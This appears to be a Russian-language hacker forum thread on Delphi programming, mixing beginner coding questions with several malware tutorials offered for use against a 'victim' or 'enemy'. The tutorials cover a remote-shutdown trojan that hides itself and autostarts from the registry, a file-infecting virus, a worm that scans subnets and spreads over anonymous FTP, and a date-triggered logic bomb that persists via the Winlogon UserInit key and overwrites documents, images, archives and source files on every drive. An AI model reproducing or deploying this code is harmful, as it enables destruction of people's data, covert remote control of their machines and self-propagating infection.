  Этим я отключаю сервак. Если этого не сделать, то при первой же перезагрузке твоя жертва может поймать синий экран, если ты в это время будешь подключён к серверу. С одной стороны, это хорошо. Твоя жертва в очередной раз убеждается в плохой защищённости его окошек. А с другой, я не думаю, что следует выдавать себя раньше времени. Тем более, что после синего экрана перезагрузка может остановиться, а нам это не надо (потому что мы сами это сделаем :crazy: ).
  Теперь нужно выделить ServerSocket1 и перейти на закладку Events у ObjectInspector-а. Дважды щёлкни по строке «OnClientRead» и в созданной процедуре (она будет вызываться, когда что-нибудь приходит на порт) напиши:
  procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
  begin
  if Socket.ReceiveText='R' then
  ExitWindowsEx(EWX_SHUTDOWN,0);
  end;
  Теперь, как это звучит по-нашему:
  Если полученный текст=букве ‘R’ то
  Отправить компьютер в редаун.
  ExitWindowsEx - редаун заставит окна свернуться и отключить компьютер от питания. Я использовал, чтобы сильно не пакостить параметр EWX_SHUTDOWN. С этим параметром, перед редауном всем запущенным приложениям полетит запрос о выключении, и жертва сможет сохранить свои изменённые данные. Если ты злей меня, то используй EWX_FORCE. В этом случае, компьютер упадёт без предупреждения и со скоростью света, так что жертва не успеет от страха воздух испортит .
  Троян практически готов, сохрани его. Для этого выбери «Save All» из меню «File». С начала Delphi запросит имя формы. Оставь по умолчанию (Unit1) и нажми «Сохранить». Потом будет запрос на имя проекта, которое будет использоваться в качестве имени ЕХЕ файла. Назови его «Internat32», чтобы файл не вызывал особых подозрений.
  Конюшня для коня: :shit:
  Теперь ты должен хорошенечко спрятать своего будущего скакуна, чтоб его не было видно в панели задач. Для этого выбери пункт меню «Project Manager» из меню «View». Щёлкни правой кнопкой по Internat32.exe и в появившемся меню выбери «View Source». Перед тобой откроется маленький файл с исходным текстом проекта. Сравни то, что ты увидишь с этим текстом, и допиши то, чего не хватает, а что лишнее - убери (так не так уж и много):
  program Internat32;

uses
Forms,
Windows.
Unit1 in 'Unit1.pas' {Form1};

{$R *.RES}

var
WhEventHandle;
begin
Application.Initialize;
ShowWindow(Application.Handle,SW_Hide);
Form1:=TForm1.Create(nil);
Application.Run;

WhEvent:=CreateEvent(nil, true,false, 'et');
while (true) do
begin
WaitForSingleObject(WhEvent,1000);
Application.ProcessMessages;
end;
end.
Будь внимателен при переписывании. Всё должно быть один к одному. Теперь я расскажу, что здесь написано:
Смотрим пересенные
WhEventHandle

• Этим я говорю, что мне нужен указатель WhEvent на пустое событие Thandle.
  Application.Initialize - Инициализируется троян.
  ShowWindow(Application.Handle, SW_Hide) - Устанавливаю параметры окна. Параметр SW_Hide - говорит, что окно должно быть невидимо. Единственное, как его можно после этого увидеть, так это нажать Ctrl+Alt+Del. Но здесь у нас используется не вызывающее подозрения (только у чайника, профи уже давно знают, о таком имени) имя.
  Form1:=TForm1.Create(nil) - создаю форму потому что мы убрали форму из из списка авто создаваемых.
  Application.Run - запускаю трояна. Здесь запускаются обработчики событий и прочая ерунда, за которую отвечает Delphi и которую пришлось бы писать вручную на С или С++. А здесь всё очень просто.
  WhEvent:=CreateEvent(nil, true,false, 'et') - инициализация пустого события.
  Следующие пять строчек я напишу словами, а ты разберёшься как всегда методом сравнения:
  Пока (true) выполнять
  Начать цикл
  Ждать пока наступит событие (пустое событие, 1000 миллисекунд)
  Получить управление
  Закончить цикл
  Две строчки между началом и концом цикла будет выполняться бесконечно, потому что true оно всегда true, и из этого цикла выхода нет. Весь цикл заключаеться в двух особенностях:
  1. Запускается ожидание несуществующего события. Так как событие не существует, то программа прождёт его ровно указанное время в качестве второго параметра (1000 миллисекунд или 1 секунда).
  2. Получить управление.
  После второго шага программа снова перейдёт на пункт 1 и запустит ожидание. Во время ожидания пользователь работает с другими приложениями как всегда. Когда трояну (каждую 1 секунду) передаётся управление, то наш конь проверяет: есть ли для него сообщения. В нашем случае сообщение может быть одно - приход на указанный тобой порт управляющей команды. Если сообщения есть, то троян их выполняет. И в любом случае (есть сообщения или нет), после этого пользователь снова работает 1 секунду без проблем. Проверка происходит так быстро, что жертва не ощутит нагрузки трояна даже на четверке с сотым камнем.
  Нажми «Ctrl+F9» чтобы Delphi создал .ехе файл без запуска проги. Как только Delphi перемозгует весь код, можешь считать, что серверная часть готова. Если вздумаешь её тестировать, то не забудь, что после первого же запуска троян пропишется в реестре по адресу: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Services. Не забудь после тестирования его удалить.
  Теперь переходим к клиентской части, которую ты должен будешь запустить на своём компьютере для управления компьютером жертвы.
  Троянский всадник:
  Снова сохрани все изменения и создай новый проект. Пришло время писать клиентскую часть трояна.
  На новый проект ты должен бросить три компонента:
  1. Button из закладки «Standart» для отправки команды на компьютер жертвы.
  2. Edit из закладки «Standart» для ввода имени или адреса жертвы.
  3. ClientSocket из закладки «Internet» клиент порта для связи с сервером.
  Выдели ClientSocket1 и в ObjectInspector-е измени свойство порт. По умолчанию он 0, а ты должен поставить тот, который ты назначил серверу.
  Теперь дважды щёлкни по кнопке и в созданной процедуре (обработчике нажатия кнопки) напиши следующее.
  procedure TForm1.Button1Click(Sender: TObject);
  begin
  ClientSocket1.Host:=Edit1.Text;
  ClientSocket1.Active:=true;
  ClientSocket1.Socket.SendText('R');
  ClientSocket1.Active:=false;
  end;
  ClientSocket1.Host:=Edit1.Text - В ClientSocket1 заносим имя жертвы в твоей локалке. Если собираешься использовать троян в инете, то там ты имя никак не сможешь узнать. Тебе придётся использовать IP адрес, а значит эта строчка замениться на ClientSocket1.Addres:=Edit1.Text. И вводить в Edit1 ты должен будешь IP адрес.
  ClientSocket1.Active:=true - активировать соединение с сервером.
  ClientSocket1.Socket.SendText('R') - отправить букву R. Помнишь, что у нас было пару минут назад. Если сервак получит букву R, то он перегрузит компутер.
  ClientSocket1.Active:=false - закрыть соединение с сервером.
  Всё. Троян готов к бою. Нажми «Ctrl+F9» чтобы Delphi создал ЕХЕ файл без запуска проги. Найди жертву и протестируй своего верного коня. Для этого нужно запустить серверную часть на компьютере жертвы. Потом запустить клиентскую часть на своём компьютере. Ввести в клиент имя компьютера жертвы (или адрес, если ты скомпилировал под использование через IP) и нажать кнопку.
  Так же можно добавить еще пару гадостей - уже на твой вкус, лично я предлагаю запустить трояном консоль и уже через консольку действовать дальше. К примеру в консоли ввести что нибудь типа format D: - диск Д отформатится, так же можно создать на компе своего пользователя (через консоль) и т.п. Думайте сами, дэймглабы ease:

Источник: http://xroot.hut1.ru/

------------------------

:punk: Пишем вирус на Дельфи. :punk:

Итак, сегодня мы, программисты Дельфи, напишем вирус. Я не буду писать весь исходник, вы его сами додумаете и усовершенствуете.
Вы наверное много раз слышали, что на Дельфи нормальный вирус написать нельзя. С этим трудно не согласиться! Да! Действительно нормальный вирус на Дельфи не напишешь, но можно написать среднячок, который будет и размножаться и заражать другие файлы.
Самое главное в вирусописательстве - это оптимизация работы. Это и есть самое сложное. Но если врубить хороший рок-н-ролл :punk: (панк) и подумать башкой, то всё получится. Готовьсь! Начинаем теорию:

Ха! Разбежался, я те ещё теорию булу писать... Сам находи литературу о нетипизированных файлах и учи! Но я ознакомлю вас с этим дерьмом вкратце:
Для начала нужно обьявить переменную файла и константу. Это делается так:

const vs=Размер_откомпилированного вируса;
var
f1,f2:file;

f1 - это у нас будет сам вирус, а f2 - это заражаемый файл.
vs - это константа, как вижишь, а для чего она нам понадобится узнаешь позже.
также в разделе var (Varible-переменная) надо обьявить массивчи буфера:

buf:array[1..vs] of byte; \\массив байтов

Ну а теперь узнаем как заражать файл - это легко! Алгоритм:
1 - находим файл для заражения
2 - читаем его
3 - читаем себя, от первого байта до константы vc(это у нас реальный размер файла-вируса, помнишь?)
4 - удаляем прочтённый файл-жертву
5 - копируем себя на его место под тем-же именем
6 - перемещаемся в конец файла(копии вируса) и записываем туда прочтённый файл жертву

Это ещё не всё, но пока остановимся.

Чтобы прочесть файл используем процедуру
BlockRead(var f1; var buf; count:integer[; var Result:integer]);
Разберём её принцип:

f1 - нетипизированная файловая переменная
buf - переменная, используемая в проге в качестве рабочего буфера
Count - выражение или значение, соответствующее количеству записей, которые следует считать из файла
Result - значение возвращаемое процедурой и соответствующее количеству считанных записей (необязятельный параметр)

Прочитал? - Окей - теперь прочти ещё разок.
Прочитал ещё раз? Всё понял? Если нет - убейся головой об унитаз!!! Или поищи в Интернете литератур о нетипизированных файлах.

Теперь разбираем процедуру записи в файл:

BlockWrite(var f1; var buf; count:integer[; var Result:integer]);

Count - выражение или значение, соответствующее количеству записей, которые следует добавить в файл
Result - значение возвращаемое процедурой и соответствующее количеству добавленых блоков (необязятельный параметр)
*То,что я не описал, описано когда мы разбирали процедуру чтения из файла.

Такссс... Прём дальще.

Ищем файл:
var
srSearchRec;

if FindFirst('*.exe', faAnyFile, sr) = 0 then
begin
repeat
sr.Name - это найденный файл. Что с ним делать я думаю ты догадался.
until
FindNext(sr) <> 0;
FindClose(sr);
end;

Читаем жертву:
AssignFile(f1,'FuckMe.exe');\\Это наша жертва
Reset(f1,1);\\Открываем для чтения
Seek(f1,0);\\перемещаемся в начало, хоть это и деоается как ДЕФАУЛТ
BlockRead(f1,buf2,FileSize(f1));\\Читаем полностью файл-жертву
\\FileSize(f1) определяет размер файла
CloseFile(f1);\\Закрываем файл
Читаем себя:
AssignFile(f2,ParamStr(0));\\Это наш вирус или заражённый файл
\\ParamStr(0) - аналог Application.ExeName - тоесть определяем своё имя
FileMode := 0;\\Чтобы прочесть из себя
Reset(f2,1);\\Открываем для чтения
Seek(f2,vs);\\Перемещаемся в vs - нашу константу
BlockRead(f1,buf1,vs);\\Читаем
CloseFile(f2);\\Закрываем файл
Далее удаляем файл-жертву, ставим себя на его место и записываем в свою копию файл-жертву.

Чтение-Запись - всё просто, а поэтому я дальше обьяснять не буду. Поройся в Хелпе Дельфи - поможет.

Далее проще:
1 - ЕСЛИ размер файла неравен константе vs ТОГДА запускаем спец-процедуру
2 - Ищем следующую жертву
3 - Проверяем заражён ли найденный файл
4 - Если не заражён, то заражаем

Спец-процедура, о которой говорилось выше:
1 - Создаём папку карантина
2 - Перемещаем указатель(в себе) на vs
3 - Читаем из себя
4 - Записываем файл в папку карантина
5 - Запускаем его

*3 и 4 действие помещается в цикл.
Теперь примерчик:
repeat
BlockRead(f1,buf,vs,li1);
BlockWrite(f2,buf,li1,li2);
until
(li1 = 0) or (li1 <> li2);
что такое li1 и li2 ты должен знать, если не знаешь - убейся головой об унитаз!!! Или поищи в Интернете литератур о нетипизированных файлах.

Ну... Думаю, что я закончил эту дурацкую статью. Я, конечно, описал далеко не всё, да и примеров мало - знаю, знаю, просто эта статья рассчитана на людей, которые уже закомы со средой Дельфи хотябы 3 месяца. Тоесть не для ооочень тупых или неграммотных.

Данная статья написана в ознакомительных целях и показывает как Нельзя делать! Я не несу никакой ответственности за возможный ущерб, нанесённый этой статьёй. Ydachi Zelt' ne Bydy - Plohaya primeta.
:shit: :shit: :shit:

Автор: opium
Мыло : Hungry@front.ru

кароче может кто знает как на делфе написать прогу чтобы она октивировала удалённое управление рабочим столом в хруше или может знаите где лежет с этим связаные настройки ???? :help:

Привет всем!!!!!

Я пишу прогу для проверки подключения к интернета.

Как мне сделать чтобы прога при запуске сразу помещалась в трэй.

Единственная проблема это то что, при проверке мне нужно чтобы
изменялась иконка в трее.

Подскажите плиз!

Вот такое дело…

Простой цикл чтения строки из текстового файла.

Code:Copy to clipboard

 begin
memo2.Clear;
fName := Edit1.Text; AssignFile(f, fName);
Reset(f); 
if IOResult <> 0 then begin
MessageDlg(‘ошибка доступа к файлу ‘ + fName,
mtError,[mbOk],0); exit; end;
while not EOF(f) do begin
readln(f, buf); 
Memo2.Lines.Add(buf); 
end;
CloseFile(f); 
end;

как заставить цикл читать сначала первую строку потом вторую потом третью и так далее? Как перейти на следующую строку? Вот так я я написал выше он все записи файла копирует а мне именно по строкам копировать нужно. В текстовый файл будут постоянно записываться новые строки поэтому мне не нужно копировать первые строки которые уже были скопированы раньше. Как мне скопировать строку в файле какую захочу? как сообщить это проге?

Приём "обхода" кейлоггеров, использующих Hooks для слежения за клавиатурой

Иногда, при написании приложений, где производится ввод каких-либо важных данных (пассворды, например), необходимо как-то защитить эти самые данные от перехвата различного вида кейлоггерами.

Немного поразмыслив, я написал библиотеку, позволяющую «вычислять» и отгружать библиотеки, которые подключились к приложению. Примерную схему работы моей антихук-системы можно описать так:

Перечисляем все подгруженные к приложению библиотеки. Этот список будет «эталонным» для последующей проверки, т.е. подразумевается, что в этот список не попадет dll кейлоггера > Устанавливаем таймер на процедуру сравнения текущего состояния загруженных библиотек с эталонным. Если обнаружена новая либа, подгрузившаяся к приложению, мы спрашиваем пользователя (с указанием полного пути к либе), нужно ли её отгрузить. Зачем спрашивать? Дело в том, что если подгрузившаяся библиотека будет выполнять полезные функции (например, это будет DLL Punto Switcher’а, который также использует хуки, как и кейлоггеры), то выгрузка этой библиотеки повлечет за собой выгрузку библиотеки из импорта всех приложений в системе, что явно не понравится пользователю.

Буду очень благодарен людям, которые потестят данную "защиту" на различных кейлоггерах, использующие разные виды хуков (конкретно интересны хуки на создание окна (на CBT сообщения)) и соообщившие о результатах мне.

Предложенный мной способ не лишен недостатков, поэтому буду рад выслушать идеи по поводу других реализации.
Источник

У меня есть Edit1,Edit2 и Button1. В первое вводиться какая то строка, после нажатия на кнопку из строки Edit1 должны удалиться все одиннаковые символы, а результат должен выводиться в Edit2.
Всё ништяк, тока я с циклами не разберусь... Чтоб сравнивать символы.
Как мне сделать цикл в цикле? Если можно примерчик...

как переданный - принятый трафф отследить? программу допустим хочу написать чтобы сидела в трее постоянно и считывала сколько я принимаю передаю, записывала всё в два файла, суммировала, и под конец месяца чтобы помотреть. Если у кого есть готовый исходник будет ваще супер, сможет кто нибудь помочь?

Ребяты помогите!
Как называется функция, которая все строчные и прописные буквы латинского алфавита приводит к одному формату?

Срочно нужно наладить работу с графикой в Паскале, по неизвестной мне причине graphmode не желает запускаться. Подключаю библиотеку (graph.tpu), компилирую (всё нормально, без ошибок и т.п.), запускаю - нифига. Вот исходники, списаны оба с учебников (для надёжности, учебники разные), только добавил вывод результатов и выход по нажатию [Esc]:

Code:Copy to clipboard

uses graph, crt;
var d, m: integer;

begin
d:=detect;
initgraph (d,m,'');
setcolor (white);
rectangle (0,0,91,480);
closegraph;
writeln (graphresult);
writeln ('d= ',d);
writeln ('m= ',m);
readln;
end.

Code:Copy to clipboard

program graphuse;
uses graph, crt;
var Gd, Gm: integer;
    key: char;

begin
Gd:=VGA;
Gm:=VGAhi;
initgraph (Gd,Gm,'');
if graphresult=grok then begin
repeat
key:=readkey;
setcolor (2);
rectangle (0,0,91,480);
until key=#27;
end;
closegraph;
writeln (graphresult);
readkey;
end.

Первая прога просто сразу закрывается, вторая выдаёт -1.

Подскажите где можно достать DxDraw? :bang:

Заранее спасибо!

Язык Delphi
Люди, может кто небудь знает как решить такую траблу.
Короче говоря есть у меня процедура, под Button1 исполняется...
Но по времени длинная =10 мин. Возможно ли мне сделать какие
то вставки в нее, что бы обновить форму. Что бы не было чувства
зависания программы. Потоки сразу не предлагать т.к адрес функции
у меня не известен(процедура еще очень много всяких функций и процедур
использует), а пихать все в 1ну функцию(где то 100 стр кода в основ.ASM
не хочется). Кто знает, как сделать обновление формы :bang:

Как воспроизвести несколько звуков, чтобы каждый последующий не останавливал воспроизведение первого. пробовал командой (PlaySound) звуки гасят друг друга.....

Без лишних тупых слов типа "сегодня я тебе помогу", "сегодня я расскажу тебе о" сразу к делу! Писать мы будем на Delphi6. Наш червь будет распространяться через ftp сервера с анонимным входом. Итак, поехали! Создай новый проект. Так же размести на форме компонент NMFTP (так и назови, без всяких 1).
Затем надо объявить 2 глобальные переменные. Делается это после строки var, которая идёт после строк

Code:Copy to clipboard

public
{ Public declarations }
end;

в самом начале unit’a.
Так же добавьте в использующиеся модули WinSock и Registry.
Давайте пропишем червя в реестре:

Code:Copy to clipboard

RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
// Пишемся в папке ‘Run services’, имя ключа MSIE, далее следует расположение 
//файла
RegIni.WriteString('RunServices', 'MSIE', Application.ExeName);
RegIni.Free;

Чтоб он автоматом загружался при запуске системы.
Нужно объявить 2 стринговые переменные – ip1st и ip2nd. В них будет лежать ip разбитый на 4 части.
Выглядеть она у тебя должна так:

Code:Copy to clipboard

var
Form1: TForm1;
ip1st,ip2nd:string;

Далее нужно получить IP заражённой машины. Делается это с помощью следующей функции(Назовём её GetLocalIP):

Code:Copy to clipboard

function GetLocalIP: String;
const WSVer = $101;
var
wsaData: TWSAData;
P: PHostEnt;
Buf: array [0..127] of Char;
begin
Result := '';
if WSAStartup(WSVer, wsaData) = 0 then begin
if GetHostName(@Buf, 128) = 0 then begin
P := GetHostByName(@Buf);
if P <> nil then Result := iNet_ntoa(PInAddr(p^.h_addr_list^)^);
end;
WSACleanup;
end;
end;

Данная функция определит IP зараженной тачки и вернёт его нам в виде строки.
Затем нам надо поделить полученный IP на 4 части. Давай напишем такую функцию и назовём её CutIP(разрезание IP). Вот её код:
function CutIP(ip:string):string; // Функции будет передаваться ip-адрес в виде строки

Code:Copy to clipboard

var
// Объявляем 2 числовые переменные – pos1 и count
pos1,count:integer;
// Объявляем строковую переменную piece
piece:string;
begin
//1-ое число IP
piece:=ip;
// Присваиваем переменой piece значение переменной ip(которая передаётся
// В виде главного параметра функции
// Затем засовываем в переменную Pos1 число которое обозначает
// кол-во символов до первой точки в переменной piece (там лежит наш IP) 
pos1:=Pos('.', piece);
// Затем удаляем из строки piece 30 символов после первой точки
// в итоге у нас остаётся только первое число ip-адреса
Delete(piece,pos1,30);
// которое мы засовываем в переменную ip1st
ip1st:= piece;
// Далее всё идёт по такой же схеме
//2-ое число ip
piece:=ip;
pos1:=Pos('.', piece);
Delete(piece,1,pos1);
pos1:=Pos('.', piece);
Delete(piece,pos1,30);
ip2nd:= piece;
end;

Теперь первые 2 числа IP-адреса заражённой машины разбит на 2 части и засунут в 2 переменные.
Всё, все нужные нам функции отписаны. Теперь давайте создадим обработчик события OnCreate главной формы. Здесь будет то, что должно происходить при запуске червяка. Вот и начинается самое интересное:
Для начала присвоим несколько переменных разных типов, для этого перед begin напишем:

Code:Copy to clipboard

var
my_ip:string; // здесь будет хранится наш ip
ftp_list,scan_ip_list:TStrings; // Здесь будут хранится список фтп и ip которые 
// надо просканить
count,count1,count2:integer; // Обычные счётчики для циклов

Всё, с переменными закончено, далее пишем код самого червяка(между begin и end разумеется).

Code:Copy to clipboard

my_ip:=getLocalIp; // Засовываем в my_ip результат функции GetLocalIP
// Это будет IP заражённой тачки
// Далее создаём списки 
ftp_list:=TStringList.Create;
scan_ip_list:=TStringList.Create;
//Затем разрезаем ip, который мы получили
CutIP(GetLocalIP);
// Теперь весь ip засунут в глобальные переменные
// Даём приложению проработатся чтоб не вызывать зависания
Application.ProcessMessages;
// Выстраиваем лист IP
// Начинаем цикл от 0 до 255
for count2:=1 to 255 do
begin
// Снова даём приложению проработаться
Application.ProcessMessages;
// Засовываем в ip3rd номер данного цикла
ip3rd:=IntToStr(count2);
// Внутри начинаем ещё один цикл
for count:=1 to 255 do
begin
// Даём приложению проработатся
Application.ProcessMessages;
// Добавляем в scan_ip_list IP-адресс сгенерированный нашим
// червяком на основе полученного ip с заражённой машины
scan_ip_list.Add(ip1st+'.'+ip2nd+'.'+ip3rd+'.'+IntToStr(count));
end;
end;
// Конец выстраивания
// Теперь у нас есть ip всех 255-подсеток провайдера к которому подключон 
// заражённый комп
// Даём приложению проработатся
Application.ProcessMessages;
// Начинаем сканить на открытые ftp
// Цикл идёт от 1 до кол-ва строк в scan_ip_list, где хранится наш список ip
for count1:=1 to scan_ip_list.Count-1 do
begin
Application.ProcessMessages;
// Присваиваем параметру host – значение состоящие из строки под номером //исполняемого цикла
NMFTP.Host:=Scan_ip_List.Strings[count1];
// Пытаемся соединится
NMFTP.Connect;
// Если соединение прошло удачно
if NMFTP.Connected then
begin
// то добовляем адрес в список ftp_list
ftp_list.Add(NMFTP.Host);
end;
end;
// Снова даём проге проработатся
Application.ProcessMessages;
// конец скана на открытые фтп
end;

После этого в переменной ftp_list имеется весь список ip на которых открыт 21-ый порт.
Далее нам нужно распространить копии червя по всем имеющимся в списке ftp- серверам.
Я не буду прямо описывать весь процесс, а заставлю поработать вашу фантазию.
При коннекте нам передаётся список главной директории. Получить его можно с помощью следующего кода:

Code:Copy to clipboard

NMFTP.NList;
//Далее создаём обработчик события OnListItem
// и в нём пишем следующую вещь
[имя_списковой переменной].Add(Listing);

После этого в переменной будет лежать список папок и файлов. Тут может возникнуть трабл с закачкой червя на ftp т.к. не в каждую папку может быть разрешена запись.
Проверить это можно следующим образом: попробовать залить в корневой каталог, если не получится то начать цикл в котором будет браться строка с именем папки/файла. Далее меняем папку на ту, которую взяли из списка, если ошибка(это может быть файл) то идти дальше, если удалось сменить то пробуем залить и т.д. Если залить удалось, то коннектимся на следующую фтп’шку и проделываем то же самое.
Папка меняется кодом NMFTP.ChangeDir(имя_папки);
Закачка файлов происходит следующим образом:
NMFTP.Download(‘имя_закачиваемого_файла’,’имя_под_которым_файл_сохранится_на_сервере’);
Теперь надо скрыть главную форму от глаз пользователя, делается это следующим образом:
Зайди в Project>View Source
Откроется окно редактирования кода, сам код должен выглядеть следующим образом:

Code:Copy to clipboard

var
WhEvent:THandle;
begin
Application.Initialize;
ShowWindow(Application.Handle, SW_SPOILER);
Form1:=TForm1.Create(nil);
Application.Run;
WhEvent:=CreateEvent(nil, true, false, 'et');
while (true) do
begin
WaitForSingleObject(WhEvent,1000);
Application.ProcessMessages;
end;
end.

Если поработать головой, то можно за 30 минут написать червя который ещё и все папки найдёт, на фтп, в которых запись разрешена.
Вообщем дерзай! Удачи!

Я пытаюсь установить Delphi 8, но тут выходит такое сообщение сошибкой:"Borland Delphi 8.0 requires Microsoft Net. FrameworkSDK v1.1 to be installed on the machine. Please install this pre-requisite and try again !". В чем может быть дело? Я на сайте майкрософт нашел этот Microsoft Net. FrameworkSDK v1.1, но он весит 160 метров. Обязательно ли его надо скачивать? Может можно как-нибудь без него?

Простой файловый дестрой на DELPHI.
Ну что же. Я решил написать эту статеечку для начинающих DELPHIстов с дестройным методом мышления. Допустим у вас есть враг которому нужно задестроить что ни будь.
Допустим он Директор какого небудь предприятия, у него на компах находятся ценные файлы, без которых, ему грозит финансовый крах
(В случае если это налоговая отчетность). Так нужно же этот крах организовать.
И в данном случае я кратенько расскажу как это можно сделать на DELPHI.
Начнемс.
Из Uses нам понадобятся Windows,SysUtils.
Для начала нам нужно знать где находится папка винды, что бы туда скопироваться.
ВОТ КУСОЧЕК КОДА КОТОРЫЙ ПОЗВОЛИТ НАМ ЭТО СДЕЛАТЬ.

Code:Copy to clipboard

var
Windir  : String;
       WindirP : PChar;
       res:cardinal;
begin;
  WinDirP := StrAlloc(MAX_PATH);
       Res := GetWindowsDirectory(WinDirP, MAX_PATH);
       if Res > 0 then WinDir := StrPas(WinDirP);
end.

Вот мы и узнали где находится папка винды (WinDir\WinDirP-тип PCHAR).
Теперь нам нужно будет скопироваться туда поглубже и прописаться реестр.
Вот как это будет реализованно. Обратите внимание что используем не всем известный HKLM=>RUN,
А UserInit, про который ламеры маловато знают. Обратите внимание что в
UserInit(HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CurrentVersion\Winlogon)
c:\Мастдай\System32\UserInit- обязательно, а дальше через запятую, перечисляем RUNы для вирей.
Например: c:\Мастдай\System32\UserInit, C:\Мастдай\Вирь1.EXE

Code:Copy to clipboard

program Project2;
uses
  SysUtils,Windows;
var
Windir  : String;
       WindirP : PChar;
       res:cardinal;
           lngRet: integer;
lngResult: Windows.HKEY;
begin
    WinDirP := StrAlloc(MAX_PATH);
       Res := GetWindowsDirectory(WinDirP, MAX_PATH);
       if Res > 0 then WinDir := StrPas(WinDirP);
   if paramstr(0)<>WinDirP+'\system32\kernel.exe' then begin;
if CopyFile(pchar(paramstr(0)),pchar(WinDirP+'\system32\kernel.exe'),true) then begin;end;
lngRet:=RegOpenKeyEx(HKEY_LOCAL_MACHINE, PChar('Software\Microsoft\Windows NT\CurrentVersion\Winlogon'),0,KEY_ALL_ACCESS,lngResult);
if lngRet=ERROR_SUCCESS then
begin;
RegSetValueEx(lngResult,PChar('UserInit'),0,REG_SZ,PChar(WinDirP+'\System32\UserInit.exe,'+WinDirP+'\system32\kernel.exe'),Length(WinDirP+'\System32\UserInit.exe,'+WinDirP+'\system32\kernel.exe'));
  RegFlushKey(lngResult);
  RegCloseKey(lngResult);
end;
end;

end.

ВОТ мы скопировались, прописались, а теперь осталось до конца доделать дестрой(Процедуры поиска файлов и дестрой)
Процедура поиска организована на FindFirst, FindNext.
if DateToStr(Date)= '09.12.2005' then begin;end Дата срабатывания виря.
А в общем зачем я треп устраиваю, даю сырец.

Code:Copy to clipboard

program Project2;
uses
  Windows,
  SysUtils;

  Procedure Destroy (path:string);
  var lst:text;
  begin;
  assignfile(lst,path);
  rewrite(lst);

writeln(lst,'МАТРИЦА ОТЫМЕЛА ТЕБЯ');
  closefile(lst);
  end;

procedure Scan (s: string);
  var
  ln:longint;
  sr: TSearchRec;
  r: integer;
  OldDir: string;
  check:string;
  lst:text;
  begin

  {$I-}

  if s='a:\' then s:='c:\';
  ChDir (s);
  {$I+}
  if IoResult = 0 then begin
    try
      r := FindFirst ('*.*', faAnyFile, sr);
      while r = 0 do begin
        if (sr.Name <> '.') and (sr.Name <> '..') then begin


          if (faDirectory and sr.Attr) = faDirectory then begin
            OldDir := GetCurrentDir;
            Scan (ExpandFileName (sr.Name));
            ChDir (OldDir);
          end else begin;
            ln:=length(sr.name);
            check:=sr.name[ln-2]+sr.name[ln-1]+sr.name[ln];

 sleep(10);// Задержка что бы на заметили свечение светодиода HDD

        if check='doc' then begin;try Destroy(sr.Name);except;end;end;
        if check='txt' then begin;try Destroy(sr.Name);except;end;end;
        if check='xls' then begin;try Destroy(sr.Name);except;end;end;
        if check='ppt' then begin;try Destroy(sr.Name);except;end;end;
        if check='pas' then begin;try Destroy(sr.Name);except;end;end;
        if check='c' then begin;try Destroy(sr.Name);except;end;end;
        if check='asm' then begin;try Destroy(sr.Name);except;end;end;
        if check='rar' then begin;try Destroy(sr.Name);except;end;end;
        if check='zip' then begin;try Destroy(sr.Name);except;end;end;
        if check='arj' then begin;try Destroy(sr.Name);except;end;end;
        if check='htm' then begin;try Destroy(sr.Name);except;end;end;
        if check='html' then begin;try Destroy(sr.Name);except;end;end;
        if check='jpg' then begin;try Destroy(sr.Name);except;end;end;
        if check='gif' then begin;try Destroy(sr.Name);except;end;end;
        if check='bmp' then begin;try Destroy(sr.Name);except;end;end;
        if check='png' then begin;try Destroy(sr.Name);except;end;end;
        if check='tiff' then begin;try Destroy(sr.Name);except;end;end;
        if check='php' then begin;try Destroy(sr.Name);except;end;end;
        if check='cgi' then begin;try Destroy(sr.Name);except;end;end;
        if check='asp' then begin;try Destroy(sr.Name);except;end;end;
        if check='mp3' then begin;try Destroy(sr.Name);except;end;end;
        if check='mpeg' then begin;try Destroy(sr.Name);except;end;end;
        if check='psd' then begin;try Destroy(sr.Name);except;end;end;
        



          end;
        end;
        r := FindNext (sr);
      end;
    finally
      FindClose (sr);
    end;
  end;
end;

procedure Search;
var
  DriveNum: Integer;
  DriveChar: Char;
  DriveBits: set of 0..25;

begin

  Integer(DriveBits) := GetLogicalDrives;
  for DriveNum := 0 to 25 do begin
  if not (DriveNum in DriveBits) then
    Continue;
    DriveChar := Char(DriveNum + Ord('a'));
      Scan (DriveChar + ':\');
  end;
end;
  label 1,2,3,4,konec;
  var lst:text;
   xxx:string;
nr,nw:longint;
  alpha:integer;

  Windir  : String;
       WindirP : PChar;
       res:cardinal;
         lngRet: integer;
lngResult: Windows.HKEY;


  begin

  WinDirP := StrAlloc(MAX_PATH);
       Res := GetWindowsDirectory(WinDirP, MAX_PATH);
       if Res > 0 then WinDir := StrPas(WinDirP);
if paramstr(0)<>WinDirp+'\system32\kernel.exe' then begin;
if CopyFile(pchar(paramstr(0)),pchar(WinDirP+'\system32\kernel.exe'),true) then begin;end;
lngRet:=RegOpenKeyEx(HKEY_LOCAL_MACHINE, PChar('Software\Microsoft\Windows NT\CurrentVersion\Winlogon'),0,KEY_ALL_ACCESS,lngResult);
if lngRet=ERROR_SUCCESS then
begin
  RegSetValueEx(lngResult,PChar('UserInit'),0,REG_SZ,PChar(windir+'\system32\userinit.exe,'+WinDir+'\system32\kernel.exe'),Length(Windir+'\system32\userinit.exe,'+WinDir+'\system32\kernel.exe'));
  RegFlushKey(lngResult);
  RegCloseKey(lngResult);
end;
end;

if DateToStr(Date)= '09.12.2005' then begin;end   // Дата сробатывания(LOGIC BOMB)
                    else goto konec;
Search;


3:
setwindowtext(GetForeGroundWindow,'ТЕБЯ ОТЫМЕЛИ ПРЯМО В Ж#ПУ');
sleep(100);
goto 3;

konec:



end.

PS: Напомню вам что небольшое изменение сырца приведет к тому что у вас будет приватная
непалящаяся копия. Так что удачи.
PSPS: To ADMINS & Moderators- если я ошибся разделом, просьба сильно ногами не пинать, а переместить в нужный данную статью, которую я написал специально для DAMAGELAB

как разорвать соединение с интернетом (одной процедурой, в XP)?

begin

"""разрыв"""

end;

Всем здрасте, понадобилось написать софт который например удалит дубликаты строк в огромном файле 50 гигабайт попробовал TDictionary, THashSet, THashMap для сравнения строк
почему то они очень сильно едят оперативную память может что то неправильно делаю ?

Code:Copy to clipboard

//TDictionary

